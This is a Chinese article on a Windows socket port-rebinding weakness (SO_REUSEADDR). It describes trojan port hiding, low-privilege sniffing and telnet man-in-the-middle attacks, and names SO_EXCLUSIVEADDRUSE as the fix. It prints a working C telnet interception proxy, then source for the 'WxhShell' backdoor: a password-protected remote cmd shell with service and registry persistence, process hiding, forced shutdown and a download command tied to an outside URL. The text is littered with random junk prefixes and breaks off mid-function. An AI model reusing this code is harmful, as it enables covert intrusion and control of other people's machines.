在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p;U[cGHC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
E&jngxlN mRxL%! saddr.sin_family = AF_INET;
>{$;O &(IL`% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:Dw;RcZQ JPS L-j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S\MD]>4 45>w=O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(;+JM*c2N -;_NdL@ 这意味着什么?意味着可以进行如下的攻击:
+TfMj1Zx UdT~h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
lKxv
SyD hnmFhJ !g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u,*$n'l] \/. Of]YQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4cTJ$" v m{I_E
G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6^s]2mMfk Z#3wMK~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8pg?g'A~} Zj[Bm\8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)|q,RAn ?,;|*A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+g@@|&B ^4`q%_vm #include
WB"$NYB #include
tlA4oVII #include
sbQmPV #include
RT F9;]Ti DWORD WINAPI ClientThread(LPVOID lpParam);
;_%61ZI?M< int main()
/px*v<Aw1 {
Yono8M;9* WORD wVersionRequested;
~BaU2S@y DWORD ret;
^kch]?
WSADATA wsaData;
JwRdr8q BOOL val;
XCDHd
?Ld SOCKADDR_IN saddr;
plv"/K JM SOCKADDR_IN scaddr;
`[C8iF*Y" int err;
k$7-F3 SOCKET s;
jCtl
] SOCKET sc;
k'xnl"q int caddsize;
pIqPIuy HANDLE mt;
1e _V@Vy DWORD tid;
mdoy1a wVersionRequested = MAKEWORD( 2, 2 );
\4bma<~a err = WSAStartup( wVersionRequested, &wsaData );
iShB^ if ( err != 0 ) {
0/#XUX 4 printf("error!WSAStartup failed!\n");
6jO*rseC return -1;
iePpJ>( }
fc+P`r saddr.sin_family = AF_INET;
gOx4qxy/m| 4&R\6!*s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v'TkKwl Z>Rd6o' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mw\/gm_3 saddr.sin_port = htons(23);
nv2Y6e}dG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t'Nu^_# {
|0b$60m$!t printf("error!socket failed!\n");
BT2[@qH|qF return -1;
YL;ZZ2A }
@lc1Ipfk" val = TRUE;
P(VQ D>G //SO_REUSEADDR选项就是可以实现端口重绑定的
~lzV=c$t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!,V8?3.aJn {
`i9WnPRt printf("error!setsockopt failed!\n");
*J 7>6N:- return -1;
s^AQJ{X }
K}1>n2P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z@RAdwjR`p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'lHtz~[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:{E3H3 Vj:)w<], if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7Aq4YjbX {
#D
.H2'_} ret=GetLastError();
6K[s),rdv printf("error!bind failed!\n");
Yc"G="XP; return -1;
|/]bpG 'z }
qV@xEgW#r listen(s,2);
oYup*@t while(1)
%_@8f|# ,M {
4_F<jx,G caddsize = sizeof(scaddr);
jSa EwN //接受连接请求
MztT/31S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sFx$ if(sc!=INVALID_SOCKET)
Zdr
+{- {
Q^Y>T&Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<*3wnpj_ if(mt==NULL)
'355Pce/ {
_0oZgt) printf("Thread Creat Failed!\n");
MP w@O0QS break;
>Cb% `pe }
{>5z~OV }
V.1sb
pI
CloseHandle(mt);
e1[kgp
}
qdAz3iye closesocket(s);
H-1@z$p WSACleanup();
Ts}5Nk8% return 0;
*NFy%ktu }
vJtQ&,zG DWORD WINAPI ClientThread(LPVOID lpParam)
VEwv22' {
!MTm4Ls SOCKET ss = (SOCKET)lpParam;
AZI%KM[ SOCKET sc;
pn{.oXomf unsigned char buf[4096];
$QNfy.6Tn SOCKADDR_IN saddr;
.^,fw=T|1 long num;
f|m.v
+7k DWORD val;
Jn'q'+ DWORD ret;
XFG]%y=/6
//如果是隐藏端口应用的话,可以在此处加一些判断
\%mR*J+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8W[QV saddr.sin_family = AF_INET;
:1hp_XfJb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-x:Wp*, saddr.sin_port = htons(23);
[LjYLm%< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(|(Y;%>-v {
M\enjB7k printf("error!socket failed!\n");
4AZlr*U return -1;
u17Da9@; }
{pd%I val = 100;
<*8nv.PX* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%vxd($Ti" {
1Q#hanh_` ret = GetLastError();
?9Fv0-g&n return -1;
_&19OD% }
l1gAm # if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rv9qF |2r{ {
sOzjViv ret = GetLastError();
"h2;65@ return -1;
6Ck?O/^ }
PcM:0(,G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>^+Q`"SN {
>| .jG_s printf("error!socket connect failed!\n");
u32wS$*8 closesocket(sc);
W=GNo9: closesocket(ss);
lY?TF return -1;
1YAy\F~`. }
87YT;Z;U& while(1)
?rk3oa- {
8ENAif //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XxB*lX //如果是嗅探内容的话,可以再此处进行内容分析和记录
d0MX4bhZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
j9y,UT num = recv(ss,buf,4096,0);
$ daI++v`
if(num>0)
KD-0NO=oL send(sc,buf,num,0);
h+R}O9BD else if(num==0)
g#Zb}^ break;
0}Kl47}aD num = recv(sc,buf,4096,0);
p KKn if(num>0)
[9[tn- send(ss,buf,num,0);
|pq z(j7 else if(num==0)
_^#PV} break;
+\"@2mOH{+ }
WuSRA<{P closesocket(ss);
3|P P+<o closesocket(sc);
?# ,\, return 0 ;
a9FlzR }
wUh'1D<(r qe`W~a9x cvn,&G-` ==========================================================
ZS^EKz~ + ?uk|x!Ko] 下边附上一个代码,,WXhSHELL
V
[[B~Rs v*FCE 1HI ==========================================================
:bLGDEC Da?0B9' #include "stdafx.h"
}gag?yQ.^
Y($"i<rN #include <stdio.h>
/e4hB #include <string.h>
XfViLBY(
> #include <windows.h>
C
[=/40D #include <winsock2.h>
`9zP{p #include <winsvc.h>
~uzu*7U #include <urlmon.h>
r}"Ty xV}|G #pragma comment (lib, "Ws2_32.lib")
{3_M&$jN #pragma comment (lib, "urlmon.lib")
@zsr.d6Q ,i>5\Yl% #define MAX_USER 100 // 最大客户端连接数
U~Uxs\0: #define BUF_SOCK 200 // sock buffer
*5*d8;@> #define KEY_BUFF 255 // 输入 buffer
FZjtQ{M yK{ ;72 #define REBOOT 0 // 重启
p1J%= #define SHUTDOWN 1 // 关机
J[VQ6fD% |\~cjPX( #define DEF_PORT 5000 // 监听端口
P/M*XUG. $sGX%u #define REG_LEN 16 // 注册表键长度
?y]3kU #define SVC_LEN 80 // NT服务名长度
*!C^L"i Vi5RkUY] // 从dll定义API
M"X/([G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"=P@x|I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N{|N_}X`Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dgX 0\lKpf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VdVca1Z 1G{$ B^
f // wxhshell配置信息
j%[|XfM struct WSCFG {
m"H9C-Y
int ws_port; // 监听端口
Xa9G;J$ char ws_passstr[REG_LEN]; // 口令
h=d&@k\g int ws_autoins; // 安装标记, 1=yes 0=no
4;w_o9o char ws_regname[REG_LEN]; // 注册表键名
L_ 8C=MS char ws_svcname[REG_LEN]; // 服务名
]E[Mv}
= char ws_svcdisp[SVC_LEN]; // 服务显示名
gmJJ(}HVz char ws_svcdesc[SVC_LEN]; // 服务描述信息
3o"~_l$z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R%7k<1d'` int ws_downexe; // 下载执行标记, 1=yes 0=no
5x=tOR/h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&S''fxGL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Nm#KHA='Z ~yB[}BPf };
pZjyzH{~ }KS[(Q // default Wxhshell configuration
0DS<( struct WSCFG wscfg={DEF_PORT,
UL"JwqD "xuhuanlingzhe",
Rqvm%sAi 1,
+c\fDVv "Wxhshell",
?%oPWmj} "Wxhshell",
W?XvVPB "WxhShell Service",
QVzLf+R~ "Wrsky Windows CmdShell Service",
7Py8! "Please Input Your Password: ",
"z@qG]#5 1,
(iBBdB "
http://www.wrsky.com/wxhshell.exe",
]9;WM. "Wxhshell.exe"
TO3Yz3+A };
&*/X*!_HK //V?rs // 消息定义模块
(nvSB}? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G^)|c<'M char *msg_ws_prompt="\n\r? for help\n\r#>";
<&$!;d8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^XZmtB char *msg_ws_ext="\n\rExit.";
Q8z>0ci3o char *msg_ws_end="\n\rQuit.";
B1*%pjy char *msg_ws_boot="\n\rReboot...";
"xnek8F char *msg_ws_poff="\n\rShutdown...";
a&PoUwG char *msg_ws_down="\n\rSave to ";
0o`0Td TtkB char *msg_ws_err="\n\rErr!";
G^r^" j char *msg_ws_ok="\n\rOK!";
LB 2
2doW 4i/ TEHQ char ExeFile[MAX_PATH];
]J_Dn\ int nUser = 0;
2E=E!Zwt_ HANDLE handles[MAX_USER];
ffuV$# int OsIsNt;
l EQn2+ @}aK\ SERVICE_STATUS serviceStatus;
t=A|
K SERVICE_STATUS_HANDLE hServiceStatusHandle;
Wc-P= J*m mIl^ // 函数声明
bLaD1rnGi int Install(void);
Z#"6&kv int Uninstall(void);
{PYN3\N, int DownloadFile(char *sURL, SOCKET wsh);
P%%Cd int Boot(int flag);
mxP{"6 void HideProc(void);
7&m*:
J int GetOsVer(void);
}IEYH&4! int Wxhshell(SOCKET wsl);
b>I -4 void TalkWithClient(void *cs);
ke)3*.Y%C int CmdShell(SOCKET sock);
:^J(%zy int StartFromService(void);
MJ&6 Z* int StartWxhshell(LPSTR lpCmdLine);
1*;?uC\ ;'2y6"\Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]!h%Jlu VOID WINAPI NTServiceHandler( DWORD fdwControl );
TZ-n)rC)v ZNG.W0{p // 数据结构和表定义
|Q.?<T:wt= SERVICE_TABLE_ENTRY DispatchTable[] =
/$I&D}uR` {
_%Mu{Ni& {wscfg.ws_svcname, NTServiceMain},
%)\Cwl {NULL, NULL}
}Ct_i'Ow };
p5G O@^i /Hx%gKU // 自我安装
/M B0%6m int Install(void)
bF?EuL {
AB}Qd\ char svExeFile[MAX_PATH];
M(? |$$
HKEY key;
.t7D/_ strcpy(svExeFile,ExeFile);
HTkce,dQ /EKfL\3 // 如果是win9x系统,修改注册表设为自启动
Dzc 4J66 if(!OsIsNt) {
~''qd\.f$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r")=Z1y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VaSw}q/o:/ RegCloseKey(key);
o"QpV
>x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j!m~ :D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8>Ervi` RegCloseKey(key);
v%86JUlK. return 0;
+z("'Cv }
P%B1dRa }
0#sk ]Qz }
sR?_ {rQ else {
|~v($ c j!:U*}f // 如果是NT以上系统,安装为系统服务
#@lr$^M
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M}/%t1^g: if (schSCManager!=0)
cGOE $nL {
3)42EM'9( SC_HANDLE schService = CreateService
-^\k+4; (
p~Dm3^Y schSCManager,
UxD1+\N6? wscfg.ws_svcname,
*b7HtUA wscfg.ws_svcdisp,
#BlH)Cv SERVICE_ALL_ACCESS,
@YWfq$23 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>G/>:wwSP. SERVICE_AUTO_START,
MH{vFA4:, SERVICE_ERROR_NORMAL,
3=sA]j-+( svExeFile,
6~$< NULL,
I%{^i d@ NULL,
l_^>spF NULL,
Z0`? NULL,
Pgye{{ NULL
;@v7AF6Hq );
8q_3*++D if (schService!=0)
owYfrf3ZLX {
vaR0`F CloseServiceHandle(schService);
,ulNap"R CloseServiceHandle(schSCManager);
&WvJg#f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
br$!}7#=L strcat(svExeFile,wscfg.ws_svcname);
^Fb"Is#S, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
YVu8/D@ o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
y%ER51+ RegCloseKey(key);
(IJf2 return 0;
$_)YrqSo~ }
n'4D ;4 }
|[k6X=5 CloseServiceHandle(schSCManager);
J8? 6yd-7 }
;hd> v&u# }
`2r21rVntf t$Irr* return 1;
B>a`mFM }
.7E- >{Lfrc1 // 自我卸载
sY1@ch" int Uninstall(void)
;M4N=G Wd4 {
NF&\<2kX HKEY key;
Dtd
bQF }})4S;j if(!OsIsNt) {
,EwJg69 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_eO+O=j_x RegDeleteValue(key,wscfg.ws_regname);
;J?^M!l2= RegCloseKey(key);
Zd~s5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l\$_t2U RegDeleteValue(key,wscfg.ws_regname);
\Xxx5:qM RegCloseKey(key);
FopD/D{ return 0;
<w{W1*R9 }
q. BqOa: }
EY2s${26% }
B#EF/\5 else {
t*.v! du'$JtZo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9R.tkc|K if (schSCManager!=0)
9Cf^Q3)5o {
kQVl8KS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1{";u"q if (schService!=0)
<!DOCvd {
8'g/WZY~~ if(DeleteService(schService)!=0) {
Z.<1,EKi= CloseServiceHandle(schService);
z^B!-FcIz> CloseServiceHandle(schSCManager);
+H="5uO< return 0;
)](8{}wo }
O@E&lP6 CloseServiceHandle(schService);
r=@h}TKv{I }
bIWcL$}4Q CloseServiceHandle(schSCManager);
7Dm^49H }
$8_*LR$ }
hc0VS3 k) $I1p"6 return 1;
\?qXscq }
_}JygOew rRC3^X`u // 从指定url下载文件
X]y 3~|K int DownloadFile(char *sURL, SOCKET wsh)
zq1&MXR)l {
;'J L$= HRESULT hr;
/=7 |FtB` char seps[]= "/";
"#e2"=3* char *token;
XTZWbhNF char *file;
@}fnR(fS char myURL[MAX_PATH];
LGod"8~U char myFILE[MAX_PATH];
#o yvsS8 bdcuO)3 strcpy(myURL,sURL);
4S"K%2'O token=strtok(myURL,seps);
2sittP while(token!=NULL)
DO(
/,A<{8 {
B8a!"AQ~5 file=token;
zh50]tX token=strtok(NULL,seps);
R
8Iac[N }
Y|B/( o_\b{<^I GetCurrentDirectory(MAX_PATH,myFILE);
6[qRb+ds strcat(myFILE, "\\");
Zjo9c{\ strcat(myFILE, file);
Jw
{:1 send(wsh,myFILE,strlen(myFILE),0);
@ZX{q~g! send(wsh,"...",3,0);
VK`b'U&l" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sBSBDjk[ if(hr==S_OK)
=1+I<Ljk return 0;
!7bC\ { else
1N#TL"lMS return 1;
Bwll
[=_I uVisU%p }
I;mtyS 4]
DmgOru% // 系统电源模块
Y{p *$ int Boot(int flag)
Bpk%,*$*) {
|:
nuT$( HANDLE hToken;
"Ny_RF TOKEN_PRIVILEGES tkp;
a`|/*{ 1 !\pwd@{ if(OsIsNt) {
AKAAb~{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0/] @#G2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
AHZ6 tkp.PrivilegeCount = 1;
Q g"{F},4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s0nihX1Z- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L<Lu;KnY6 if(flag==REBOOT) {
rxDule3m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
v3]q2*`G# return 0;
E176O[(V= }
d3n TJ X else {
rp1u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
IFv2S| return 0;
possM'vC }
5'z&kl0"S }
N8nyTPw else {
gXH89n if(flag==REBOOT) {
c~C :"g.y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y>~KeUC return 0;
W}.4$f> }
4|:{apH else {
8-SVgo( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
W
tzV|e, return 0;
b]Z@zS<8 }
uHf~KYL }
z1V 0WDVm BB|{VwN return 1;
:fj}J)9'xW }
;
9'*w=V vys*=48g // win9x进程隐藏模块
s;5PHweWf void HideProc(void)
JL(*peeu3 {
*dK A/.g j,G/[V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X=.+XP] if ( hKernel != NULL )
n*O/X {
G&Cl:CtC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C]r$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<MfB;M FreeLibrary(hKernel);
[e&$4l IS }
s lPFDBx Pq_Il9 return;
r!x^P=f,MJ }
@Qx;J<{+g %b!p{p // 获取操作系统版本
)8Q|y int GetOsVer(void)
XHe= {
:'rXu6c- OSVERSIONINFO winfo;
o oS4F1ta winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
' !_44 GetVersionEx(&winfo);
U}qW9X;o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M_XZOlW5 return 1;
!-;Me&"I=` else
h.7 1O"N return 0;
MA1,;pv6 }
|"@E"Za^ -)$)<k // 客户端句柄模块
M>vM@j int Wxhshell(SOCKET wsl)
NGxii$F {
h 1Q7(8=Eg SOCKET wsh;
h+Z|s struct sockaddr_in client;
-6H)GK14b DWORD myID;
JdV!m`XpXy z2dM*NMK while(nUser<MAX_USER)
pCC0: {
YTGup]d int nSize=sizeof(client);
cAiIbh>c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>c1mwZS; if(wsh==INVALID_SOCKET) return 1;
6l> G>) 4wBCs0NIm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`9wz:s QtP if(handles[nUser]==0)
MWB uMF closesocket(wsh);
qi)(\ else
c?opVbJB\ nUser++;
+"SBt}1 }
Az.Y-O<$\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
DD-DY&2R 0dgR;Dl(
return 0;
Kt^PL&A2 }
M!I:$DZt fIBLJ53 // 关闭 socket
cJhf{{_oR void CloseIt(SOCKET wsh)
lv\2vRYw- {
!IGVN:E closesocket(wsh);
(Bmjz*%M nUser--;
{`3;Pd` ExitThread(0);
De^is^{ }
#~#_)\l'F nxH$$}9 // 客户端请求句柄
4bJ3uIP# void TalkWithClient(void *cs)
I&cb5j]C {
t^7R6y yk#:.5H SOCKET wsh=(SOCKET)cs;
@E==~ b char pwd[SVC_LEN];
~ib#x~Db char cmd[KEY_BUFF];
1fC|_V(0 char chr[1];
ZU:gNO0 int i,j;
hwXp=not( R
UX while (nUser < MAX_USER) {
Xajjzl\b >"Hj=? if(wscfg.ws_passstr) {
)*_YeT&w. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]-AT(L> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z6
aT%7}} //ZeroMemory(pwd,KEY_BUFF);
3'']q3H i=0;
AOfQqGf while(i<SVC_LEN) {
%V+,# Us%VBq // 设置超时
-(59F fd_set FdRead;
j"NqNv struct timeval TimeOut;
fx}R7GN2 FD_ZERO(&FdRead);
=_wgKXBFa FD_SET(wsh,&FdRead);
lLg23k{' TimeOut.tv_sec=8;
yV]-![`D TimeOut.tv_usec=0;
2.NzB7c*CM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r@!~l1$s` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a
v`eA`)S F_-yT[i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=-q)I[4# pwd
=chr[0]; =djzE`)0
if(chr[0]==0xd || chr[0]==0xa) { {#;6$dU;(
pwd=0; cX&c% ~
break; vAVoFL
} GN>T }
i++; +V'Z%;/
} WK=!<FsC$
1/{:}9Z@
// 如果是非法用户,关闭 socket b#]in0MT?@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B;-oa;m:E=
} '<Vvv^Er
6=kd4'yV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]c5Shj5|p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -\I0*L'$|\
2+^#<Uok
while(1) { C )PN
u_[Zu8
ZeroMemory(cmd,KEY_BUFF); :J<S-d=
\e=@h!p
// 自动支持客户端 telnet标准 P_?1Rwm-45
j=0; J[B8sa
while(j<KEY_BUFF) { PCU6E9~t2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *".7O*jjV
cmd[j]=chr[0]; 59ivL6=3
if(chr[0]==0xa || chr[0]==0xd) { %
,X(GwX
cmd[j]=0; %\^x3wP&o\
break; I#,,h4C
} <bid 6Q0|
j++; QK@z##U
} wJgM.V"yb
%|u"0/
// 下载文件 r!zNcN(%cs
if(strstr(cmd,"http://")) { >a0;|;hp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); FINM4<s)
if(DownloadFile(cmd,wsh)) 7'o?'He-.2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yrIT4y
else 95+}NJ;r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \l[5U3{
} #F9$"L1Hg
else { @-7K~in?^
1X{A}9nA
switch(cmd[0]) { Z$pR_dazU
C
qxP@
// 帮助 LCdc7
case '?': { *(HH71Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c]n4vhUa5
break; 8+!$k!=X
} ,~3 sba
// 安装 u )ld
case 'i': { VJNPs6
if(Install()) L,l+1`Jz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;m&f Vp
else Jsw<,uTD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A1Zu^_y'
break; ZWr\v!4
} @4Y>)wn&;
// 卸载 ` n_ Z
case 'r': { 7_{x '#7
if(Uninstall()) 7.=u:PK7kM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ``NjNd
else CHLMY}O0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ({8Q=Gh
break; 9~4Kbmr>q
} 16]O^R;r
// 显示 wxhshell 所在路径
s$]I@;_
case 'p': { YnNei 7R
char svExeFile[MAX_PATH]; xqG`
_S
l
strcpy(svExeFile,"\n\r"); (V+(\<M
strcat(svExeFile,ExeFile); w
S;(u[W
send(wsh,svExeFile,strlen(svExeFile),0); |{_%YM($
break; qD9B[s8
} PC3wzJ\\S
// 重启 #AY+[+
case 'b': { S ^n:O
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wF&\@H
if(Boot(REBOOT)) !.F\v.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pq`4Y
K
else { 4o|~KX8Qz
closesocket(wsh); 0W>O,%z&P#
ExitThread(0); k"n#4o:
} \t1vYIY]T
break; Ig6s'^
} Ge
@d"
// 关机 U}
g%`<
case 'd': { omY?`(=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D QZS%)
if(Boot(SHUTDOWN)) !<~Ig/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CZ0 {*K:
else { > Euput\
closesocket(wsh); qNvKlwR9;k
ExitThread(0); R8?A%yxf
} `&+L/
break; /wK7l-S
} hqE#BnQxP,
// 获取shell +wio:==
case 's': { ?Z.YJXoKZ
CmdShell(wsh); JlH|=nIaj6
closesocket(wsh); XM)|v |
ExitThread(0); WTd})
s
break; `|v#x@s
} &"CS1P|
// 退出 ck^Z,AKL+
case 'x': { *}0Q S@FN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); me9RnPe:
CloseIt(wsh); )WzCUYE 1/
break; qVY\5`f@
} w68qyG|wM
// 离开 wbpxJtJB
case 'q': { tC&y3!k2jR
send(wsh,msg_ws_end,strlen(msg_ws_end),0); wUSWB{y
closesocket(wsh); }M1<a4~
WSACleanup(); 7>4t{aRf_8
exit(1); ?/u&U\P
break; xr=f9?%R
} ;3-ssF}k*
} TLkkB09fvk
} LZ@^ A]U
}^ iE|YKz
// 提示信息 B
51LZP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tF;aB*
} 4$;fj1!Z:
} F )tNA?p)
^@ux
return; n^A=ar.
} AfY(+w6!K
:@p`E}1r{
// shell模块句柄 !cq4+0{O;&
int CmdShell(SOCKET sock) Sj*H4ZHD<&
{ < ^&'r5H
STARTUPINFO si; sO*6F`eiZ
ZeroMemory(&si,sizeof(si)); HY42G#^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @<AIPla
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '|+_~ZO*d
PROCESS_INFORMATION ProcessInfo; =GpLlJ`-
char cmdline[]="cmd"; PK~okz4b
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]A\n>Z!;
return 0; K;Xn!:) V:
} E6G^?k~q
0|U<T#t8?
// 自身启动模式 Oe=,-\&_
int StartFromService(void) 6?Wsg`9
{ fY `A
typedef struct 6v1j*'
{ FX'W%_f,
DWORD ExitStatus; vD*KJ3(c
DWORD PebBaseAddress; [;b9'7j'
DWORD AffinityMask; a#{a{>
DWORD BasePriority; ;J_d%
